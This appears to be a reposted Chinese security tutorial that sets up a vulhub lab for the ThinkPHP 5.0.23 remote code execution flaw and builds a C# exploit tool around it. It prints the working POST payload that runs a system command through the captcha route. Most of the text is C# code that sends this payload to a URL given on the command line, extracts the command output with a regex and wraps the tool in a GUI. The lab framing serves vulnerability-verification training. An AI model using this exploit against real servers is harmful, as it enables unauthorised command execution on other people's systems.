Tips +1
1、靶场搭建
使用vulhub 快速搭建poc 验证环境,下面我们使用ThinkPHP5 5.0.23 远程代码执行漏洞为例子
搭建连接:https://github.com/vulhub/vulhub/blob/master/thinkphp/5.0.23-rce/README.zh-cn.md
执行如下命令启动一个默认的thinkphp 5.0.23环境:
docker compose up -d
环境启动后,访问http://your-ip:8080即可看到默认的ThinkPHP启动页面。
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
2、编写EXP框架
using System;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
using System.Text.RegularExpressions;
class Program
{
static async Task t(string[] args)
{
// 创建 HttpClient 对象
using (HttpClient client = new HttpClient())
{
try
{
string url = "http://ip/url";
string requestBody = "xxx"; // 请求体内容
// 创建请求体内容
HttpContent content = new StringContent(requestBody, Encoding.UTF8, "application/x-www-form-urlencoded");
// 发送 POST 请求并接收响应
client.DefaultRequestHeaders.Add("User-Agent", "MyApp/1.0");
HttpResponseMessage response = await client.PostAsync(url, content);
// 处理响应
if (response.IsSuccessStatusCode)
{
string responseData = await response.Content.ReadAsStringAsync();
Console.WriteLine("Response Data:");
Console.WriteLine(responseData);
// 定义正则表达式模式
string pattern = @"xxxxx";
Match match = Regex.Match(responseData, pattern, RegexOptions.Singleline);
Console.WriteLine(match.Groups[1].Value);
}
else
{
Console.WriteLine("Error: HTTP " + (int)response.StatusCode + " " + response.ReasonPhrase);
}
}
catch (Exception ex)
{
Console.WriteLine("Error: " + ex.Message);
}
}
}
}
3、填写漏洞POC
根据漏洞详情以及响应特征,我们把poc 框架的基础上填写验证的poc 和正则规则匹配漏洞是否存在结果。
string url = "http://172.10.1.131:8080/index.php?s=captcha";
string requestBody = "_method=__construct&filter%5B%5D=system&method=get&server%5BREQUEST_METHOD%5D=id"; // 请求体内容
// 创建请求体内容
HttpContent content = new StringContent(requestBody, Encoding.UTF8, "application/x-www-form-urlencoded");
// 发送 POST 请求并接收响应
client.DefaultRequestHeaders.Add("User-Agent", "MyApp/1.0");
HttpResponseMessage response = await client.PostAsync(url, content);
接下来使用正则表达式提取<!DOCTYPE html> 之前的数据,代码如下:
// 定义正则表达式模式
string pattern = @"^(.*?)(?=<!DOCTYPEs+html>)";
Match match = Regex.Match(responseData, pattern, RegexOptions.Singleline);
Console.WriteLine(match.Groups[1].Value);
Console.WriteLine(match.Value);
4、添加传参变量
if (args.Length == 0)
{
Console.WriteLine("请输入URL:");
return;
}
string httpurl = args[0]; // 从命令行参数获取 URL
Console.WriteLine("URL: " + httpurl + "/index.php?s=captcha");
string url = httpurl+ "/index.php?s=captcha";
string requestBody = "_method=__construct&filter%5B%5D=system&method=get&server%5BREQUEST_METHOD%5D=id"; // 请求体内容
5、图像化EXP
这里使用C# winform 进行图像化优化,然后绑定相应事件即可。
更换ico图标重新编译生成,最后一个简单的EXP 工具就完成了。
End
“点赞、在看与分享都是莫大的支持”
原文始发于微信公众号(贝雷帽SEC):【Tips】C# 实现简单EXP工具编写
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论